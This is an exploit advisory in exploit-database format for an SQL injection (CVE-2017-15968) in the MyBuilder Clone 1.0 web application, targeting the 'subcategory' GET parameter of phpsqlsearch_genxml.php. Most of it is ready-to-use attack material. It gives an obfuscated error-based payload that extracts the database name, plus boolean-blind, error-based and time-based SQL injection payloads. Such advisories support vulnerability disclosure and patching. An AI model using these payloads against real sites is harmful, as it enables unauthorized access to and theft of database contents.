MyBuilder Clone 1.0 - 'subcategory' SQL Injection

# # # # # 
# Exploit Title: MyBuilder Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.contractorscripts.com/
# Software Link: http://order.contractorscripts.com/
# Demo: http://demo.contractorscripts.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15968
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/phpsqlsearch_genxml.php?subcategory=[SQL]
# 
# 1'++aND(/*!09999sELeCT*/+0x30783331+/*!09999FrOM*/+(/*!09999SeLeCT*/+cOUNT(*),/*!09999CoNCaT*/((sELEcT(sELECT+/*!09999CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='
# 
# Parameter: subcategory (GET)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: subcategory=1' RLIKE (SELECT (CASE WHEN (9811=9811) THEN 1 ELSE 0x28 END))-- gzxz
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: subcategory=1' AND (SELECT 1213 FROM(SELECT COUNT(*),CONCAT(0x7162626a71,(SELECT (ELT(1213=1213,1))),0x716b6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qHTp
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: subcategory=1' OR SLEEP(5)-- RvzR
# 	
# Etc..
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